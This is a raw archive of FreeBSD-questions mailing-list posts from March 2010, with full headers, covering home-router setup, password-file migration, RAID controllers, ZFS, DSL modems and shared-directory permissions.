=E9crit=A0:=0A=0A> De: mailinglist =0A> Objet: Repla= cing Home Router With PC=0A> =C0: "freebsd-questions@freebsd.org" =0A> Date: Jeudi 11 mars 2010, 1h36=0A> I've got an o= ld Linksys router=0A> hanging off of my cable modem that is several years o= ld and=0A> is about to die (very poor wireless throughput should be 54=0A> = mb and is 2, runs hot, and "buzzes" while turned on).=A0=0A> I've got an ol= der PC that would great as a router....however=0A> I also need it to be a w= ireless access point for my=0A> house.=A0 It has a PCI wireless network car= d (A 54G=0A> Belkin, not sure of the exact model).=A0 I know FreeBSD=0A> is= technically capable for acting as my DHCP, DNS, router,=0A> gateway box if= properly configured.=A0 The question is,=0A> can it use that wireless card= to act as a access point=0A> instead of a client (how the card is intended= to be used)?=0A> =0A> Also, any links anyone can provide on how to setup a= =0A> FreeBSD box to act as home router/gateway would be much=0A> appreciate= d!=0A> =0A> _______________________________________________=0A> freebsd-que= stions@freebsd.org=0A> mailing list=0A> http://lists.freebsd.org/mailman/li= stinfo/freebsd-questions=0A> To unsubscribe, send any mail to "freebsd-ques= tions-unsubscribe@freebsd.org"=0A> =0A=0A=0A From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 08:08:02 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EB5591065677 for ; Thu, 11 Mar 2010 08:08:02 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from smtp.infracaninophile.co.uk (gate6.infracaninophile.co.uk [IPv6:2001:8b0:151:1::1]) by mx1.freebsd.org (Postfix) with ESMTP id 5E39E8FC39 for ; Thu, 11 Mar 2010 08:08:02 +0000 (UTC) Received: from seedling.black-earth.co.uk (seedling.black-earth.co.uk [81.187.76.163]) (authenticated bits=0) by smtp.infracaninophile.co.uk (8.14.4/8.14.4) with ESMTP id o2B87dNX011414 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Thu, 11 Mar 2010 08:07:39 GMT (envelope-from m.seaman@infracaninophile.co.uk) Message-ID: <4B98A4CB.6090507@infracaninophile.co.uk> Date: Thu, 11 Mar 2010 08:07:39 +0000 From: Matthew Seaman Organization: Infracaninophile User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-GB; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: Dan Nelson References: <64c038661003101809s7467432buce6a548b3b0d5cf2@mail.gmail.com> <20100311054110.GA11675@dan.emsphone.com> In-Reply-To: <20100311054110.GA11675@dan.emsphone.com> X-Enigmail-Version: 1.0.1 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Virus-Scanned: clamav-milter 0.95.3 at happy-idiot-talk.infracaninophile.co.uk X-Virus-Status: Clean X-Spam-Status: No, score=-1.1 required=5.0 tests=BAYES_00,DKIM_ADSP_ALL, SPF_FAIL autolearn=no version=3.3.0 X-Spam-Checker-Version: SpamAssassin 3.3.0 (2010-01-18) on happy-idiot-talk.infracaninophile.co.uk Cc: freebsd-questions@freebsd.org, Modulok Subject: Re: Moving master.passwd file between servers... is this correct? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 08:08:03 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 11/03/2010 05:41:10, Dan Nelson wrote: > In the last episode (Mar 10), Modulok said: >> I need to migrate a passwd file from an old 6.2 server to a newer 8.0 >> server (different box). This is what I did: >> >> copied the '/etc/master.passwd' from old server to '/etc/master.passwd' >> on new server then ran: >> >> pwd_mkdb /etc/master.passwd && pwd_mkdb -p /etc/master.passwd >> >> It seems to work, but is this correct? I'd hate to miss somethign before >> it goes online. > > Yep, that should work. Don't forget to update /etc/groups too. > And try running 'mergemaster -p' which should let you merge in any new system accounts (ignore all the other bits it looks at). Cheers, Matthew - -- Dr Matthew J Seaman MA, D.Phil. 7 Priory Courtyard Flat 3 PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate Kent, CT11 9PW -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.14 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkuYpMsACgkQ8Mjk52CukIxacgCfTxB2WO7JXMu4XQs/M9kcYvWu QwIAn0DX0eFW8IrP5N5vOlZR51Eg68FF =2qaS -----END PGP SIGNATURE----- From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 08:37:57 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1FD65106566C for ; Thu, 11 Mar 2010 08:37:57 +0000 (UTC) (envelope-from sfourman@gmail.com) Received: from mail-pv0-f182.google.com (mail-pv0-f182.google.com [74.125.83.182]) by mx1.freebsd.org (Postfix) with ESMTP id E066B8FC12 for ; Thu, 11 Mar 2010 08:37:56 +0000 (UTC) Received: by pvg3 with SMTP id 3so3012105pvg.13 for ; Thu, 11 Mar 2010 00:37:56 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=qU8KhWNC8X8LGcrKWLIaaK/GzjvUmMhHlqb9ZKYu4l0=; b=Jb1cEbPYSUZlMncHzZUaMZJKTrhlkFqsN+V0d2I+yqTnTBEuTcLswTy20ko2NcZOe+ tyEQwLhdu6BM9QRR/ghMZlBH0GXiZOmkln3odpDVe4vj6rmxeOo1yBuDbI5m5BKb7l32 K8jv1UdKGy2czJALrEFgWb1/3pOqpx1DzHbV0= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=cqhfURi63JlCLN1qMnyB75cIL3M2Mkc22z2Nc1fb5NnwyBO9MxbbbL8Q47hzXsV6zd dlIaq9QrvYUQtjOZPegJFGB2QkA7Dt/kANfYgHndwFTmpWTQwuXTYQ4hDBysakxomp3e MWmUuiULDHDGmd+2ibXU1qO20yeaJ++eqp/1c= MIME-Version: 1.0 Received: by 10.142.3.27 with SMTP id 27mr1230084wfc.274.1268296676248; Thu, 11 Mar 2010 00:37:56 -0800 (PST) In-Reply-To: <4B98A0B5.4010006@eskk.nu> References: <4B980792.3050103@eskk.nu> <4B981934.9090904@comcast.net> <4B98A0B5.4010006@eskk.nu> Date: Thu, 11 Mar 2010 02:37:56 -0600 Message-ID: <11167f521003110037o760b6387p58fecb6bfd066b2e@mail.gmail.com> From: "Sam Fourman Jr." To: Leslie Jensen Content-Type: text/plain; charset=ISO-8859-1 Cc: Steve Polyack , freebsd-questions@freebsd.org Subject: Re: Silicon Image SiI 3124 and 3132 RAID controllers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 08:37:57 -0000 On Thu, Mar 11, 2010 at 1:50 AM, Leslie Jensen wrote: > > > On 2010-03-10 23:12, Steve Polyack wrote: >> >> On 03/10/10 15:56, Leslie Jensen wrote: >>> >>> I'm trying to install FreeBSD 8-RELEASE on a machine with an Abit >>> aw8-max MB. This MB has a built in SiI 3132 RAID controller. I also >>> have an addon card with a SiI 3124 RAID controller. >>> >>> The problem is that I can see the 2 disks and the RAID1 set that I >>> want to use for the system if I connect the disks to the built in 3132 >>> controller. But if I connect the disks to the 3124 controller and >>> create a RAID1 set, only the disks can be seen. >>> >>> I need to be able to use both controllers because I've got four disks >>> that I want to build a RAID5 set on one of the controllers. >>> >>> Can anyone shed some light on this. Via Google I've read some articles >>> about these controllers and I'm aware that I might have to rethink >>> because of lacking support for the 3124 controller. >>> >>> I've read in the ata man page that parameters can be added to >>> /boot/device.hints but I'm not sure how to handle this during >>> installation. >>> >>> /Leslie >>> >>> >> Are you using the default ata(4) driver that FreeBSD-8 boots with, or >> are you loading the siis(4) module at boot? If you are using the ata(4) >> driver, you should try enabling the siis(4) driver by placing >> 'siis_load="YES"' in /boot/loader.conf. Beware that the names of your >> disks will transition from ad -> ada and will likely be renumbered as >> well. >> >> The siis(4) driver overall has a much richer feature set. I have several >> 3124 controllers which work great with it, but I have never tried using >> the controllers RAID - I simply use them as disk controllers and then >> pool the disks using ZFS. >> > > > I installed with the 2 disks connected to the controller that was found by > Freebsd. Then I added siis_load="YES" to /boot/loader.conf. > Power down the machine and connected 4 drives to the 3124 controller. Upon > restart I created a RAID5 set with the 4 drives in the controllers bios. > Booted into FreeBSD but the RAID5 was not detected only the individual > disks. > > This controller obviously does not work as expected. I need a suggestion on > a not to expensive RAID controller that is supported by FreeBSD so that I > can get the RAID5 set to work. > Thanks > /Leslie there were a bunch of sata and siis commits after the release of 8.0 I would suggest maybe trying RELENG_8 From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 09:05:02 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D4115106566C for ; Thu, 11 Mar 2010 09:05:02 +0000 (UTC) (envelope-from matt@webcontracts.co.uk) Received: from batfink.vm.bytemark.co.uk (batfink.vm.bytemark.co.uk [80.68.95.231]) by mx1.freebsd.org (Postfix) with ESMTP id 979A38FC17 for ; Thu, 11 Mar 2010 09:05:02 +0000 (UTC) Received: from www.webcontracts.co.uk (localhost [127.0.0.1]) by batfink.vm.bytemark.co.uk (Postfix) with ESMTP id C228564005; Thu, 11 Mar 2010 09:05:00 +0000 (GMT) Received: from 212.159.19.37 (SquirrelMail authenticated user mlaw) by www.webcontracts.co.uk with HTTP; Thu, 11 Mar 2010 09:05:00 -0000 Message-ID: In-Reply-To: <131271.77828.qm@web24819.mail.ird.yahoo.com> References: <131271.77828.qm@web24819.mail.ird.yahoo.com> Date: Thu, 11 Mar 2010 09:05:00 -0000 From: "Matthew Law" To: "Alexandre L." User-Agent: SquirrelMail/1.4.19 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Cc: "freebsd-questions@freebsd.org" Subject: Re: Re : Replacing Home Router With PC X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: matt@webcontracts.co.uk List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 09:05:02 -0000 +1 for psSense and if you need a quick to setup home NAS box, you could do worse than FreeNAS, which is also derived from FreeBSD -although I don't think it supports ZFS currently. When it does it will be even better. Best, Matt On Thu, March 11, 2010 7:59 am, Alexandre L. wrote: > You can use pfSense : > pfSense is a free, open source customized distribution of FreeBSD tailored > for use as a firewall and router. > http://www.pfsense.org/ > pfSense is very simple and intuitive to use with is GUI in PHP. From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 09:56:07 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CF0BB106566C for ; Thu, 11 Mar 2010 09:56:07 +0000 (UTC) (envelope-from elmstel@gmail.com) Received: from mail-ww0-f54.google.com (mail-ww0-f54.google.com [74.125.82.54]) by mx1.freebsd.org (Postfix) with ESMTP id 66ECB8FC08 for ; Thu, 11 Mar 2010 09:56:06 +0000 (UTC) Received: by wwb28 with SMTP id 28so163351wwb.13 for ; Thu, 11 Mar 2010 01:56:01 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from :user-agent:mime-version:to:subject:content-type :content-transfer-encoding; bh=jbFmo4hlYZTK8q05b4oJ6mCVPKYCSBwTXg/pAwSn2ro=; b=cyWfTv1BSVPundj65CDGtiTTqlKTiHAzTW3mrYPYrwta7gRZSMpRkPD8rP1qJUloCO kg8VSc7Ph1TjRVs2MeF008YN1B7YuxTiQ3QkeERx3fXD/GSQ+/4ZpZuw+zU30zIT4kiF 2+PdTThlQZjDnq83x1FjfSwqkVOo/vAs+5M3s= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:subject :content-type:content-transfer-encoding; b=MalZyG4+pUYQhl3MEpgMZ97ElZ0C6Q7O/jWaUzoi7uIYl6tK7PHqBzll93zip8k0tn KfLBCQPVE3IMO2hFCMJZy1OLzXYJye4N0mn8hY6oBUQoI0cTOUVTQJPyQcBQmoy03pxn lzAkWRkAvKjdnaDguW435ACEafHO4lYNJtXms= Received: by 10.216.89.149 with SMTP id c21mr1920217wef.43.1268301360901; Thu, 11 Mar 2010 01:56:00 -0800 (PST) Received: from [10.0.0.7] (91-115-214-42.adsl.highway.telekom.at [91.115.214.42]) by mx.google.com with ESMTPS id g11sm25260529gve.23.2010.03.11.01.55.59 (version=SSLv3 cipher=RC4-MD5); Thu, 11 Mar 2010 01:56:00 -0800 (PST) Message-ID: <4B98865B.5080300@gmail.com> Date: Thu, 11 Mar 2010 06:57:47 +0100 From: Elmar Stellnberger User-Agent: Thunderbird 2.0.0.23 (X11/20090817) MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Subject: Full Unicode Support for FreeBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 09:56:07 -0000 Isn`t it time for FreeBSD to fully support Unicode/UTF-8 by now? It is considered to be standard charset by now. XML uses it by default. If you are working with texts in different languages there is no alternative to UTF-8. If you chat with a Linux machine you can easily run into charset troubles if you are still using the old iso-8859-1. By now it is no problem to activate UTF-8 for your console. However a comprehensive Unicode support would require much more: i.e. configuring all user packages like KDE for Unicode support and asserting that also file names (f.i. from ext2 partitions) are interpreted correctly. From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 10:40:43 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8FB50106566B for ; Thu, 11 Mar 2010 10:40:43 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from lo.gmane.org (lo.gmane.org [80.91.229.12]) by mx1.freebsd.org (Postfix) with ESMTP id 4A7CE8FC24 for ; Thu, 11 Mar 2010 10:40:43 +0000 (UTC) Received: from list by lo.gmane.org with local (Exim 4.69) (envelope-from ) id 1Npfom-0008VP-Tv for freebsd-questions@freebsd.org; Thu, 11 Mar 2010 11:40:40 +0100 Received: from lara.cc.fer.hr ([161.53.72.113]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 11 Mar 2010 11:40:40 +0100 Received: from ivoras by lara.cc.fer.hr with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 11 Mar 2010 11:40:40 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-questions@freebsd.org From: Ivan Voras Date: Thu, 11 Mar 2010 11:40:38 +0100 Lines: 25 Message-ID: References: <4B98865B.5080300@gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@dough.gmane.org X-Gmane-NNTP-Posting-Host: lara.cc.fer.hr User-Agent: Mozilla/5.0 (X11; U; FreeBSD amd64; en-US; rv:1.9.1.5) Gecko/20100118 Thunderbird/3.0 In-Reply-To: <4B98865B.5080300@gmail.com> Subject: Re: Full Unicode Support for FreeBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 10:40:43 -0000 On 03/11/10 06:57, Elmar Stellnberger wrote: > Isn`t it time for FreeBSD to fully support Unicode/UTF-8 by now? Yes! Good of you to say so! Your code and other patches will be integrated as soon as you send them. > It is considered to be standard charset by now. XML uses it by default. > If you are working with texts in different languages there is no > alternative to UTF-8. > If you chat with a Linux machine you can easily run into charset > troubles if you are > still using the old iso-8859-1. > > By now it is no problem to activate UTF-8 for your console. > However a comprehensive Unicode support would require much more: > i.e. configuring all user packages like KDE for Unicode support and > asserting that also file names (f.i. from ext2 partitions) are interpreted > correctly. > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 10:42:18 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id AB3F81065677 for ; Thu, 11 Mar 2010 10:42:18 +0000 (UTC) (envelope-from itmngr@cooperationireland.org) Received: from smtp4.irishbroadband.ie (smtp4.irishbroadband.ie [62.231.32.17]) by mx1.freebsd.org (Postfix) with ESMTP id 6C6648FC25 for ; Thu, 11 Mar 2010 10:42:18 +0000 (UTC) Received: from [62.231.53.178] (helo=mail.cooperationireland.org) by smtp4.irishbroadband.ie with esmtps (TLSv1:AES256-SHA:256) (Exim 4.67 (FreeBSD)) (envelope-from ) id 1NpfcS-0002yd-Fg for freebsd-questions@freebsd.org; Thu, 11 Mar 2010 10:27:59 +0000 Received: from [199.107.2.100] ([199.107.2.100]) (authenticated bits=0) by mail.cooperationireland.org (8.14.4/8.14.4) with ESMTP id o2BAe4tV029773 for ; Thu, 11 Mar 2010 10:40:04 GMT (envelope-from itmngr@cooperationireland.org) Message-Id: <4A159FE2-3A0D-4C1C-BFDF-BC31CB8E0AA7@cooperationireland.org> From: Michael Doyle To: FreeBSD Mailing List Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v936) Date: Thu, 11 Mar 2010 10:42:12 +0000 X-Mailer: Apple Mail (2.936) X-Spam-Status: No, score=-1.4 required=4.0 tests=AWL,BAYES_00,RDNS_NONE autolearn=no version=3.2.5 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on mail.cooperationireland.org X-Scan-Signature: 615db8561e273c1d531a2f657ff26619 Subject: Advice request: DSL modem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 10:42:18 -0000 I am looking for advice regarding DSL Modems: I need to add a computer to our VPN which is implemented using the FreeBSD IPSEC protocols. So far, all our sites are connected using a wireless point-to-point link provided by our ISP that gives us fixed IP addresses with no NAT issues. Now I need to add a site with a DSL link. My ISP will give me a fixed IP address for this site but can anyone recommend a DSL modem (ADSL2) that will be easy to configure with this setup ? (The previous model I used successfully for this purpose is no longer available) Thanks Mike Michael Doyle Network Administrator, Co-operation Ireland mdoyle@cooperationireland.org http://www.cooperationireland.org/ Co-operation Ireland Events: http://www.cooperationireland.org/supportus/overview Not another brick in the wall: http://www.cooperationireland.org/appeal/ Phone: +353-1-6610588 Fax: +353-1-6618456 Mobile: 00353-87-2357853 From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 10:47:11 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 19194106566C for ; Thu, 11 Mar 2010 10:47:11 +0000 (UTC) (envelope-from leslie@eskk.nu) Received: from mail.gelita.se (212-162-182-244.skbbip.com [212.162.182.244]) by mx1.freebsd.org (Postfix) with ESMTP id CA0018FC08 for ; Thu, 11 Mar 2010 10:47:10 +0000 (UTC) Received: from mail.gelita.se (localhost.gelita.se [127.0.0.1]) by mail.gelita.se (Postfix) with ESMTP id 1358810E827; Thu, 11 Mar 2010 11:49:14 +0100 (CET) X-Virus-Scanned: amavisd-new at troback.com Received: from mail.gelita.se ([127.0.0.1]) by mail.gelita.se (mail.gelita.se [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id f0m4JQOoV1PV; Thu, 11 Mar 2010 11:49:08 +0100 (CET) Received: from bljbsd01.no-ip.org (c-195-216-040-164.static.bjare.net [195.216.40.164]) by mail.gelita.se (Postfix) with ESMTP id DD37E10E50A; Thu, 11 Mar 2010 11:49:08 +0100 (CET) Message-ID: <4B98CA26.4050609@eskk.nu> Date: Thu, 11 Mar 2010 11:47:02 +0100 From: Leslie Jensen User-Agent: Mozilla/5.0 (X11; U; FreeBSD amd64; sv-SE; rv:1.9.1.8) Gecko/20100302 Thunderbird/3.0.3 MIME-Version: 1.0 To: Steve Polyack References: <4B980792.3050103@eskk.nu> <4B981934.9090904@comcast.net> In-Reply-To: <4B981934.9090904@comcast.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Does compression on zfs pool affect performance? .......WAS, Re: Silicon Image SiI 3124 and 3132 RAID controllers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 10:47:11 -0000 The solution for me was to create a raidz which gave me the same amount of space. Now I wonder, should I enable compression? Will it affect performance? Later I want to share this pool with SAMBA. Will SAMBA see the pool as a filesystem? Thanks /Leslie From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 10:54:26 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DF088106566B for ; Thu, 11 Mar 2010 10:54:26 +0000 (UTC) (envelope-from jozsi.avadkan@gmail.com) Received: from mail-fx0-f223.google.com (mail-fx0-f223.google.com [209.85.220.223]) by mx1.freebsd.org (Postfix) with ESMTP id 729D88FC12 for ; Thu, 11 Mar 2010 10:54:26 +0000 (UTC) Received: by fxm23 with SMTP id 23so8123068fxm.3 for ; Thu, 11 Mar 2010 02:54:25 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:subject:from:to:content-type :date:message-id:mime-version:x-mailer:content-transfer-encoding; bh=9MNgcaGGkKzEfh4qcmmeQRUaBFaARqK/+KnARqiVR4U=; b=NTzFZY+GTpBl8Fxehpnq2x4PP+9bNc9Kxq8PkdK73RF364/Ffs6WvQVRzR9fXW20BL 1bv5eQTJlVUyMZmuUev/VsXj1ONDe4v1D1YDTUmpPZV3PFbQKBXceyTm0BPRE6J2t2PB /UXHEXL2RecKnnTxMWV8A8f6Jfpx+rIWaj0X0= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=subject:from:to:content-type:date:message-id:mime-version:x-mailer :content-transfer-encoding; b=q+EpsIZvo5hh/vuNsI5W8SKh6F4hPPYX8RnpE67hNpWUWDI+p9rdYs/pwbt0W7u3eH ZG+31dMbETb4XBpbqcU9jkBHMQT+eeWMD/DXlOzUXjwFXdGN8EfkjzCf/NRxu5A+y1Ln 9vc6m7s8cla7YstzZ1vvXj3xPcnOuDk0qznfk= Received: by 10.223.15.65 with SMTP id j1mr3117988faa.0.1268304865220; Thu, 11 Mar 2010 02:54:25 -0800 (PST) Received: from [192.168.32.64] (mail.ahol.co.hu [80.64.64.126]) by mx.google.com with ESMTPS id 31sm2170846fkt.17.2010.03.11.02.54.24 (version=SSLv3 cipher=RC4-MD5); Thu, 11 Mar 2010 02:54:24 -0800 (PST) From: Vadkan Jozsef To: FreeBSD Mailing list Content-Type: text/plain; charset="UTF-8" Date: Thu, 11 Mar 2010 11:54:24 +0100 Message-ID: <1268304864.6254.28.camel@ubuntu> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 Content-Transfer-Encoding: 7bit Subject: aoe - with freenas, openfiler X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 10:54:27 -0000 Does anybody has a link to a distro, that supports ata over ethernet, and it's like: freenas, openfiler sorry for the "interesting question" :D:S thank you! From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 11:04:37 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7808B1065674 for ; Thu, 11 Mar 2010 11:04:37 +0000 (UTC) (envelope-from listone@deathbeforedecaf.net) Received: from mail-pw0-f54.google.com (mail-pw0-f54.google.com [209.85.160.54]) by mx1.freebsd.org (Postfix) with ESMTP id 5293E8FC17 for ; Thu, 11 Mar 2010 11:04:37 +0000 (UTC) Received: by pwj4 with SMTP id 4so147346pwj.13 for ; Thu, 11 Mar 2010 03:04:36 -0800 (PST) Received: by 10.114.6.30 with SMTP id 30mr1281316waf.143.1268305476713; Thu, 11 Mar 2010 03:04:36 -0800 (PST) Received: from [10.10.10.10] (0x7e.net [203.122.226.101]) by mx.google.com with ESMTPS id 21sm8722064pzk.12.2010.03.11.03.04.33 (version=TLSv1/SSLv3 cipher=RC4-MD5); Thu, 11 Mar 2010 03:04:35 -0800 (PST) Mime-Version: 1.0 (Apple Message framework v1077) Content-Type: text/plain; charset=us-ascii From: Rob In-Reply-To: <13562_1268093048_4B959078_13562_1012_1_70C0964126D66F458E688618E1CD008A08CCF714@WADPEXV0.waddell.com> Date: Thu, 11 Mar 2010 21:34:28 +1030 Content-Transfer-Encoding: quoted-printable Message-Id: References: <70C0964126D66F458E688618E1CD008A08CCF702@WADPEXV0.waddell.com> <70C0964126D66F458E688618E1CD008A08CCF712@WADPEXV0.waddell.com> <70C0964126D66F458E688618E1CD008A08CCF713@WADPEXV0.waddell.com> <13562_1268093048_4B959078_13562_1012_1_70C0964126D66F458E688618E1CD008A08CCF714@WADPEXV0.waddell.com> To: Gary Gatten X-Mailer: Apple Mail (2.1077) Cc: freebsd-questions@freebsd.org Subject: Re: ACLs, umask and shared directories X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 11:04:37 -0000 Hi Gary, Directory group inheritance is the default in FreeBSD - see open(2): When a new file is created it is given the group of the=20 directory which contains it. In SysV, this behaviour is controlled by the setgid bit. So the file has the correct group, but it's not writeable by other users unless it has g+w permissions. The way to guarantee this is to set everyone's umask to 002 - but then they can write each other's files anywhere else in the filesystem, because they're all in the same primary group. I just can't see a tidy solution. Thanks Rob. On 09/03/2010, at 10:34 AM, Gary Gatten wrote: >=20 > chmod g+s "ParentDirectory" >=20 > Files created in the dir now have the group of the dir. >=20 > Not sure if this will help or not, as it appears the new files do not > inherit the perms of the group, the umask still over-rides so.... >=20 > What about a secondary group + SGID + umask 002? The users that need = to > edit each others files in this directory are in a secondary group > (ShareMe). This same group owns the parent directory and the SGID bit > is set. This should allow you to set the umask to 002 correct? = Maybe? >=20 > So: >=20 > www1 primary group =3D domain_users;=20 >=20 > www1$ pwd > /WorkgroupXShare >=20 > drwxrws--- 4 root ShareMe 0 Mar 8 03:11 . > www1$ touch file1 > drwxrws--- 4 www1 ShareMe 0 Mar 8 03:11 file1 >=20 > umask of 002 should give files 664 (I'd change umask to 004, group > "ShareMe" should get rw perms, right? >=20 > I think this will work? >=20 > G >=20 >=20 > -----Original Message----- > From: Gary Gatten=20 > Sent: Monday, March 08, 2010 4:49 PM > To: 'listone@deathbeforedecaf.net' > Subject: RE: ACLs, umask and shared directories >=20 > This may also work: >=20 > SGID (set group ID) on a directory: in this special case every file > created in the directory will have the same group owner as the = directory > itself (while normal behavior would be that new files are owned by the > users who create them). This way, users don't need to worry about file > ownership when sharing directories: >=20 > G >=20 >=20 > -----Original Message----- > From: Gary Gatten=20 > Sent: Monday, March 08, 2010 4:13 PM > To: Gary Gatten; 'listone@deathbeforedecaf.net' > Subject: RE: ACLs, umask and shared directories >=20 > What about sticky bit on the parent directory - in combination with > appropriate owner and group perms. I used sticky in my ftpd solution, > HOWEVER, this was on SCO Unix and sticky may have different behavior = on > FBSD. Worth a look though! >=20 > G >=20 >=20 > -----Original Message----- > From: Gary Gatten=20 > Sent: Monday, March 08, 2010 8:25 AM > To: 'listone@deathbeforedecaf.net' > Subject: Re: ACLs, umask and shared directories >=20 > I ran into a similar issue long ago with an ftp folder and "shared" > files. If I recall umask solved my issue for me but understand it > doesn't solve yours. >=20 > If nothing else, could you write a shell script that "monitors" the > directory/directories for writes and then sets the perms as needed? >=20 > ----- 